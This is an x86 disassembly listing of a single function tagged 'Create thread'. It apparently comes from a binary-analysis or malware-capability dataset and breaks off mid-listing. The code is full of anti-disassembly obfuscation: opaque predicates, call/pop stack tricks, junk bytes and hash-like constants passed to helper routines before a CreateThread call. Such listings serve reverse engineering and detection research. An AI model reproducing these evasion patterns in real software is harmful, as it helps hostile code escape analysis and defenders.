Function at 0x10031880
Capabilities:
Create thread

Disassembly:
jae 0x1003187e
jmp 0x10031879
call fcn.10031880
jae 0x10031879
add esp, 4
jmp 0x10031885
dec dword [esp]
jno 0x1003188a
jns 0x10031875
jp 0x1003188e
add esp, 4
popf
jmp 0x10031895
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x100318ae
jne 0x100318ae
call 0x1fc34c02
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
push 0
push 0
push 0
push 0x10032ad0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
clc
jae 0x100318d9
test al, 0xe7
pushf
push 0xa
jae 0x100318e6
jmp 0x100318e1
call 0x100318e8
jae 0x100318e1
add esp, 4
jmp 0x100318ed
dec dword [esp]
jno 0x100318f2
jns 0x100318dd
jp 0x100318f6
add esp, 4
popf
jmp 0x100318fd
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10031916
jne 0x10031916
out 0x7c, eax
add ebp, ebx
add esp, edi
jl 0x1003191b
jmp 0x1003191d
je 0x10031918
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x10031937
jne 0x10031936
call 0x930709be
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x10031945
jne 0x10031945
call 0xd8b9f10
invalid
mov dword [ebp - 0x278], 0
mov dword [ebp - 0x27c], 0
mov dword [ebp - 0x280], 0
clc
jae 0x10031968
cdq
pushf
pushf
push 0xa
jae 0x10031975
jmp 0x10031970
call 0x10031977
jae 0x10031970
add esp, 4
jmp 0x1003197c
dec dword [esp]
jno 0x10031981
jns 0x1003196c
jp 0x10031985
add esp, 4
popf
jmp 0x1003198c
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x100319a5
jne 0x100319a5
bnd jl 0x100319aa
jl 0x100319aa
jmp 0x100319ac
je 0x100319a7
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x100319c6
jne 0x100319c5
call 0x93070a4d
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x100319d4
jne 0x100319d4
call 0xcb79f9f
invalid
mov dword [ebp - 0x34c], 0
mov dword [ebp - 0x288], 0
xor eax, eax
test eax, eax
je 0x100319f1
jne 0x100319f0
call 0x93070a78
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
and dword [ebx + edi*8 - 8], esi
xor eax, 3
add eax, 4
xor eax, 5
jl 0x100319ff
jmp 0x10031a01
je 0x100319fc
clc
jae 0x10031a06
sbb byte [ecx], ah
je 0x10031a0b
jne 0x10031a0b
and dword [esi - 0x64], esp
pushf
push 0xa
jae 0x10031a18
jmp 0x10031a13
call 0x10031a1a
jae 0x10031a13
add esp, 4
jmp 0x10031a1f
dec dword [esp]
jno 0x10031a24
jns 0x10031a0f
jp 0x10031a28
add esp, 4
popf
jmp 0x10031a2f
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10031a48
jne 0x10031a48
call 0x1fc34d9c
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
mov dword [ebp - 0x28c], 0
mov dword [ebp - 0x290], 0
clc
jae 0x10031a72
invalid
pushf
push 0xa
jae 0x10031a7f
jmp 0x10031a7a
call 0x10031a81
jae 0x10031a7a
add esp, 4
jmp 0x10031a86
dec dword [esp]
jno 0x10031a8b
jns 0x10031a76
jp 0x10031a8f
add esp, 4
popf
jmp 0x10031a96
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10031aaf
jne 0x10031aaf
movsd dword es:[edi], dword [esi]
jl 0x10031ab4
jmp 0x10031ab6
je 0x10031ab1
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x10031ad0
jne 0x10031acf
call 0x93070b57
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x10031ade
jne 0x10031ade
call 0xd6fa0a9
invalid
mov dword [ebp - 0x294], 0
mov dword [ebp - 0x2a4], 0
xor eax, eax
test eax, eax
je 0x10031afb
jne 0x10031afa
call 0x93070b82
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
sal dword [ebx + edi*8 - 8], 1
xor eax, 3
add eax, 4
xor eax, 5
jl 0x10031b09
jmp 0x10031b0b
je 0x10031b06
clc
jae 0x10031b10
push cs
sal dword [ebx + eax + 0x75], 1
add ecx, edx
je 0x10031b15
jne 0x10031b15
shl dword [esi - 0x64], 1
pushf
push 0xa
jae 0x10031b22
jmp 0x10031b1d
call 0x10031b24
jae 0x10031b1d
add esp, 4
jmp 0x10031b29
dec dword [esp]
jno 0x10031b2e
jns 0x10031b19
jp 0x10031b32
add esp, 4
popf
jmp 0x10031b39
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10031b52
jne 0x10031b52
call 0x1fc34ea6
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
mov dword [ebp - 0x298], 0
mov dword [ebp - 0x29c], 0
mov dword [ebp - 0x2a0], 0
clc
jae 0x10031b86
pop edi
arpl word [esi - 0x64], sp
pushf
push 0xa
jae 0x10031b93
jmp 0x10031b8e
call 0x10031b95
jae 0x10031b8e
add esp, 4
jmp 0x10031b9a
dec dword [esp]
jno 0x10031b9f
jns 0x10031b8a
jp 0x10031ba3
add esp, 4
popf
jmp 0x10031baa
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10031bc3
jne 0x10031bc3
arpl word [ebx + eax - 0x15], di
add esp, dword [ebx + 0x74]
sti
jl 0x10031bc8
jmp 0x10031bca
je 0x10031bc5
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x10031be4
jne 0x10031be3
call 0x93070c6b
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x10031bf2
jne 0x10031bf2
call 0xd7fa1bd
invalid
mov dword [ebp - 0x284], 0
mov dword [ebp - 0x340], 0
mov dword [ebp - 0x344], 0
clc
jae 0x10031c15
rol dword [edx + 0x66], 1
pushfd
pushf
push 0xa
jae 0x10031c22
jmp 0x10031c1d
call 0x10031c24
jae 0x10031c1d
add esp, 4
jmp 0x10031c29
dec dword [esp]
jno 0x10031c2e
jns 0x10031c19
jp 0x10031c32
add esp, 4
popf
jmp 0x10031c39
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10031c52
jne 0x10031c52
inc edx
jl 0x10031c57
jmp 0x10031c59
je 0x10031c54
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x10031c73
jne 0x10031c72
call 0x93070cfa
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x10031c81
jne 0x10031c81
call 0x18af893d
mov ebp, 0xd88d8d50
invalid
mov eax, 0xbd08ac6c
push eax
lea ecx, [ebp - 0x128]
call 0x10030ee0
mov dword [ebp - 0x2a8], eax
mov ecx, dword [ebp - 0x2a8]
mov dword [ebp - 0x2ac], ecx
mov dword [ebp - 4], 0
mov edx, dword [ebp - 0x2ac]
push edx
call fcn.100330c0
add esp, 4
mov dword [ebp - 0x2dc], eax
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x128]
call fcn.1002c560
xor eax, eax
test eax, eax
je 0x10031cdb
jne 0x10031cda
call 0x93070d62
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
arpl word [ebx + edi*8 - 8], si
xor eax, 3
add eax, 4
xor eax, 5
jl 0x10031ce9
jmp 0x10031ceb
je 0x10031ce6
clc
jae 0x10031cf0
jbe 0x10031d53
je 0x10031cf5
jne 0x10031cf5
arpl word [esi - 0x64], sp
pushf
push 0xa
jae 0x10031d02
jmp 0x10031cfd
call 0x10031d04
jae 0x10031cfd
add esp, 4
jmp 0x10031d09
dec dword [esp]
jno 0x10031d0e
jns 0x10031cf9
jp 0x10031d12
add esp, 4
popf
jmp 0x10031d19
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10031d32
jne 0x10031d32
call 0x1fc35086
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
mov eax, 0x9d2cba92
push eax
lea ecx, [ebp - 0x68]
call fcn.10030ce0
mov dword [ebp - 0x2b0], eax
mov ecx, dword [ebp - 0x2b0]
mov dword [ebp - 0x2b4], ecx
mov dword [ebp - 4], 1
mov edx, dword [ebp - 0x2b4]
push edx
call fcn.100330c0
add esp, 4
mov dword [ebp - 0x2e0], eax
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x68]
call fcn.1000faa0
clc
jae 0x10031d93
push eax
std
invalid
and byte [esi], ch
pushfd
pushf
push 0xa
jae 0x10031da0
jmp 0x10031d9b
jae 0x10031d9b